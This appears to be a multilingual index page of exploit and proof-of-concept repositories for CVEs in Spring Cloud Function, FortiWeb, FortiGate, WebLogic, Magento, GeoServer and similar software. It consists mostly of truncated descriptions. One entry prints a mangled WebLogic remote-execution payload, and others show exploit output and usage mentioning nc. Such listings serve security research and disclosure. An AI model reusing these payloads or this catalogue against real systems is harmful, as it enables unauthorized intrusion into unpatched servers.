CVE-2022-22963-Exploit

CVE-2022-22963 Exploit Ce dépôt contient un exploit basé sur Rust pour la vulnérabilité CVE-2022-22963 trouvée dans les versions 3.1.6, 3.2.2 et les versions plus anciennes non prises en charge de Spring Cloud Function. La vulnérabilité permet l’exécution de code à distance et l’accès aux...

hermes-the-messenger

Hermes, le messager Un PoC pour obtenir une persistance via les notifications push sur Windows Pour plus de détails techniques et de contexte, lisez notre article de blog ici : https://www.persistent-security.net/post/beacon-on-demand-abusing-push-notifications-for-persistence Utilisation Avant...

CVE-2023-32560

CVE-2023-32560 Ivanti Avalanche v6.4.0.0 RCE POC المرجع: https://www.tenable.com/security/research/tra-2023-27...

CVE_2026_7515

CVE20267515 CVE-2026-7515: BetterDocs Pro = 3.8.0 - Inclusion de fichier local non authentifié menant à un exploit RCE...

CVE-2025-25257

جدول المحتويات نظرة عامة تفاصيل الثغرة إثبات المفهوم PoC Trolled2 Trolled3 نظرة عامة CVE-2025-25257 هي ثغرة حقن SQL قبل المصادقة في موصل Fabric لـ FortiWeb من Fortinet الإصدارات 7.0 حتى 7.6.x. يسمح هذا الخلل للمهاجمين بحقن أوامر SQL ضارة في نقطة نهاية API المعرضة للخطر، مما قد يؤدي إلى تنفيذ...

cve-2018-1207

cve-2018-1207 استغلال ثغرة في أجهزة iDRAC 7 و8 بإصدارات البرامج الثابتة الأقدم من 2.52.52.52 الوصف أجهزة Dell EMC iDRAC7/iDRAC8، في الإصدارات السابقة للإصدار 2.52.52.52، تحتوي على ثغرة حقن CGI يمكن استخدامها لتنفيذ كود عن بُعد. قد يتمكن مهاجم عن بُعد غير مصادَق من استخدام متغيرات CGI لتنفيذ كود ع...

cve-2025-12735-expr-eval-rce

CVE-2025-12735 expr-eval RCE Exploit A security research tool for detecting and testing the CVE-2025-12735 vulnerability in the expr-eval and expr-eval-fork npm packages. ⚠️ Disclaimer This tool is for authorized security testing and educational purposes only. Unauthorized access to computer...

CVE-2023-27524-Apache-Superset-Auth-Bypass-and-RCE

CVE-2023-27524 : Contournement d'authentification et RCE dans Apache Superset Apache Superset, un outil open-source largement utilisé pour la visualisation et l'exploration de données, a été identifié comme présentant de potentielles faiblesses de sécurité pouvant conduire à un contournement de...

CVE-2025-25257

CVE-2025-25257 CVE‑2025‑25257 هي ثغرة أمنية حرجة من نوع حقن SQL قبل المصادقة تؤثر على مكون Fabric Connector في Fortinet FortiWeb. وتؤثر على الإصدارات التالية من FortiWeb: 7.6.0–7.6.3 7.4.0–7.4.7 7.2.0–7.2.10 ≤ 7.0.10 التفاصيل التقنية توجد المشكلة في الدالة getfabricuserbytoken التي تقوم ببناء...

CVE-2020-12077

CVE-2020-12077 MapPress Maps Pro 2.53.9 - تنفيذ تعليمات برمجية عن بُعد RCE بسبب التحكم غير الصحيح في الوصول في إجراءات AJAX الوصف يقوم الإصدار الاحترافي من هذه الإضافة بتسجيل عدة إجراءات AJAX تستدعي وظائف تفتقر إلى فحوص الصلاحيات وفحوص nonce، وتحديداً الوظائف 'ajaxget' و 'ajaxsave' و 'ajaxdelete'...

CVE-2021-21014

إثبات المفهوم محدود CVE-2021-21014 إصدارات Magento 2.4.1 والإصدارات الأقدم، 2.4.0-p1 والإصدارات الأقدم و2.3.6 والإصدارات الأقدم معرّضة لثغرة تجاوز قيود رفع الملفات. قد يؤدي الاستغلال الناجح إلى تنفيذ تعليمات برمجية عشوائية بواسطة مهاجم مُصادَق. الإصدار المتأثر: = Magento 2.4.1 متطلب المستخدم: حسا...

POC_CVE-2024-46256

POCCVE-2024-46256 CVE-2024-46256 وCVE-2024-46257 هما نفس الـ POC، فقط قم بتغيير معامل provider. ملاحظة أحيانًا لا يمكن تنفيذ ملف nc على الخادم أو لا يمكن تنفيذ الأمر! متطلبات التثبيت pip install requests تشغيل الاستغلال python3 POCCVE-2024-46256.py + Target type IP/Host? i/h: i + Enter IP or Host...

MiniExploit

MiniExploit إصدارات WebMin...

CVE-2017-9841

CVE-2017-9841 نص برمجي للمسح الشامل والاستغلال لثغرة CVE-2017-9841. PHPUnit هو إطار اختبار قائم على لغة PHP. يوجد ثغرة أمنية في ملف Util/PHP/eval-stdin.php في الإصدارات السابقة لـ PHPUnit 4.8.28 والإصدارات 5.x السابقة للإصدار 5.6.3. يمكن لمهاجم عن بُعد استغلال الثغرة عن طريق إرسال بيانات HTTP POS...

CVE-2020-14882

CVE-2020-14882 coherence shellsession calc.exe import requests url = 'http://:/console/images/%252E%252E%252Fconsole.portal' \ '?nfpb=true&pageLabel=HomePage1&handle=com.tangosol.coherence.mvel2.sh.ShellSession' \ '%22java.lang.Runtime.getRuntime.exec%27calc.exe%27;%22'.format'192.168.1.53', '700...

CVE-2022-46169

Preuve de concept PoC CVE-2022-46169 : Contournement d'authentification et exécution de code à distance Ce dépôt contient une preuve de concept PoC pour la vulnérabilité CVE-2022-46169, qui permet à un attaquant de contourner l'authentification et d'exécuter du code arbitraire à distance sur le...

Flink-CVE-2020-17518-getshell

Flink-CVE-2020-17518-getshell استغلال Apache Flink CVE-2020-17518 للحصول على شل انظر: https://blog.rakjong.com/2021/01/10/flink-cve-2020-17518-getshell/...

CVE-2025-50286

Grav CMS الإصدار 1.7.48 / الإضافة الإدارية الإصدار 1.10.48 - تنفيذ أوامر عن بُعد مصادق عليه عبر رفع الإضافة CVE-2025-50286 Grav CMS الإصدار 1.7.48 مع الإضافة الإدارية الإصدار 1.10.48 معرضة لـ تنفيذ الأوامر عن بُعد RCE عبر ميزة رفع الإضافات "التثبيت المباشر"، مما يسمح للمسؤولين المصادق عليهم بتنفي...

CVE-2023-27997

CVE-2023-27997 FortiGate VM64 7.2.0 est exploitable par ce code. notez que le code a été écrit d'une manière très stupide. Preuve de concept $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in...

CVE-2024-36401_Geoserver_RCE_POC

⚠️ إخلاء مسؤولية: هذه الأداة مخصصة للبحث الأمني والاختبار المصرح به فقط، ولا يجوز استخدامها لأغراض غير قانونية. يتحمل المستخدم المسؤولية القانونية الكاملة. إصدار README: English | 中文 وصف الثغرة هذا النص البرمجي هو أداة كشف PoC لثغرة تنفيذ الأوامر عن بُعد CVE-2024-36401 في GeoServer. تسمح هذه الثغر...